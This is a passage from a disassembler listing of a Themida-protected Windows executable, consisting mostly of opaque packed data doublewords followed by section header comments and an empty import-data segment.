0DC68C263h, 0F61C439h, 386h dd 0DA8B6600h, 8166D9B3h, 0FC9003E9h, 0FF7B70Fh, 168Eh dd 0DE800h, 3DFC0000h, 94ED015Dh, 0D729D728h, 6672A530h dd 0E959D98Bh, 0Ch, 0F041AF20h, 0DD53A938h, 1EB73298h dd 8B66C18Bh, 0C38B66D0h, 0E9CF8B66h, 0Eh, 242FB436h, 3D9DD999h dd 258D47F4h, 0E950D59Bh, 13h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah dd 28C46ADDh, 5E437267h, 5E99B966h, 5880Fh, 81660000h dd 0E91018C7h, 10h, 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh dd 0F8BF0F60h, 7C83B960h, 616119F2h, 7CF4BA66h, 0EED08166h dd 7E86003h, 78000000h, 0F42C9142h, 0BCB30A34h, 2820F5Fh dd 51000000h, 830F615Ah, 5, 0FF78166h, 0B34CB90Dh, 8A0F3201h dd 3, 66FB8B66h, 0D090D781h, 12E9h, 246D8800h, 9B3656A7h dd 39D6530Ch, 0E9C68DEEh, 0F5BE1FAh, 0F56DABFh, 1088h dd 0BE900h, 0CC0C0000h, 5D49C127h, 6EFC33B5h, 23065984h dd 0D5h dup(23065A31h), 0D6E50631h, 30Ah dup(0D6E5068Bh) dd 180h dup(0ACCD2A21h), 0A74FF021h, 0EEh dup(0A74FF031h) dd 3D4FF031h, 14Eh dup(3D1CA652h), 54h dup(0D781D21Ah) dd 135h dup(0E8C12F52h), 0AD8h dup(0CCCCCCCCh), 0CCCCh dd 33Dh dup(0) Themida_ ends ; Section 5. (virtual address 0020C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0020C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 60C000h dd 80h dup(0) align 1000h _idata2 ends end start